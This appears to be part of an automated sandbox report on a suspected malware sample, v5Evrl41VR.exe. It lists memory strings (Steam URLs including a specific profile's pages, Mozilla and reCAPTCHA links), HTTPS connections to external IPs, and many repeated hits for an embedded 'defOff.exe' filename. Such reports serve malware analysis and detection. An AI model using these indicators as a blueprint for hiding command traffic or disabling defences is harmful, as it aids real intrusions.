Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380768108.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/workshop/
Source: v5Evrl41VR.exe, 00000000.00000003.1381065089.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowe
Source: v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/
Source: v5Evrl41VR.exe, 00000000.00000003.1357987726.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380954502.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;
Source: v5Evrl41VR.exe, 00000000.00000003.1380954502.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb
Source: v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/about/
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/explore/
Source: v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CEB000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380768108.0000000000C6B000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/legal/
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/mobile
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/news/
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/points/shop/
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/stats/
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: v5Evrl41VR.exe, 00000000.00000003.1459982889.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: v5Evrl41VR.exe, 00000000.00000003.1459982889.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: https://twitter.com/intent/tweet?original_referer=$
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05
Source: chromecache_110.6.dr	String found in binary or memory: https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9
Source: v5Evrl41VR.exe, 00000000.00000003.1412091988.000000000576B000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1412168551.0000000005768000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: v5Evrl41VR.exe, 00000000.00000003.1412091988.000000000576B000.00000004.00000800.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1412168551.0000000005768000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/recaptcha/
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: chromecache_130.6.dr, chromecache_110.6.dr	String found in binary or memory: https://www.linkedin.com/cws/share?url=$
Source: v5Evrl41VR.exe, 00000000.00000003.1459982889.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.8Z86fTxZfkM6
Source: v5Evrl41VR.exe, 00000000.00000003.1459982889.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.UnUp0v0CLe9Y
Source: v5Evrl41VR.exe, 00000000.00000003.1459982889.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: v5Evrl41VR.exe, 00000000.00000003.1459982889.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: v5Evrl41VR.exe, 00000000.00000003.1459982889.0000000005A44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: v5Evrl41VR.exe, 00000000.00000003.1357943377.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1357961656.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1380720491.0000000000CF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CAD000.00000004.00000020.00020000.00000000.sdmp, v5Evrl41VR.exe, 00000000.00000003.1411204921.0000000000CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748

Source: unknown	HTTPS traffic detected: 23.55.153.106:443 -> 192.168.2.11:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.11:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.11:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.11:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.11:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.11:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.11:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.11:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.86:443 -> 192.168.2.11:49776 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: v5Evrl41VR.exe	Static PE information: section name:
Source: v5Evrl41VR.exe	Static PE information: section name: .rsrc
Source: v5Evrl41VR.exe	Static PE information: section name: .idata

Source: v5Evrl41VR.exe	Binary or memory string: OriginalFilename vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1624249742.0000000005FCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1623211254.0000000005FD5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1618482641.0000000000D02000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1627478562.0000000006117000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1625336442.0000000006255000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1621015001.0000000005FD1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1627675947.0000000005FCA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1621297259.0000000005FC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1612620721.0000000005FCD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1621826579.00000000060D8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1628309532.0000000006117000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1612252475.0000000006061000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1621989922.0000000005FCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1632542337.0000000006135000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1632907589.0000000005FCE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1624093419.0000000006217000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1616973861.00000000060B3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1633324750.0000000006127000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1622154523.00000000060DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1610223075.0000000005948000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1614240819.000000000607A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1616079491.0000000005FCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1620629978.0000000005FCD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1627921526.0000000006121000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1615198093.0000000006151000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1614637486.0000000005FC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1614443136.0000000005FCB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1623065363.0000000006221000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1616708843.00000000060A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1612067855.0000000005A2A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1624702381.0000000005FCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1614976644.0000000005FC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1615962853.0000000006175000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1620232443.00000000060C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1610223075.00000000058D7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1619540970.0000000005FCF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1610483874.0000000005C3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1625595146.0000000005FD5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1610223075.0000000005868000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1618299291.000000000575C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1615744420.0000000005FD2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1613328828.0000000005FC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1622465434.0000000005FD4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1612340613.00000000060FE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1618123578.0000000005CB3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1620830523.00000000060DC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1618790067.00000000060B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1621448934.00000000060DA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1626401417.0000000005FC8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1623944676.00000000060F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1615087669.000000000608B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1616302064.000000000616B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1626163416.000000000611B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1612526017.000000000606A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1617628774.00000000060BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1615635457.000000000609B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1618239660.0000000005948000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1610483874.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1618007658.0000000005FC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1614743648.0000000006082000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1614342990.0000000006134000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1622312686.00000000061FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1618059191.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1620434450.00000000061D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1624997633.0000000005FD0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1618181162.0000000005868000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1622921060.00000000060F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1613687087.000000000611A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1614852696.000000000613D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1627047999.0000000006253000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1627284802.0000000005FD4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1622775341.0000000005FCC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1619363266.00000000061BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1619695617.00000000060C6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1628489778.000000000626F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1617887016.00000000060C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
Source: v5Evrl41VR.exe, 00000000.00000003.1615525443.0000000005FD5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs v5Evrl41VR.exe
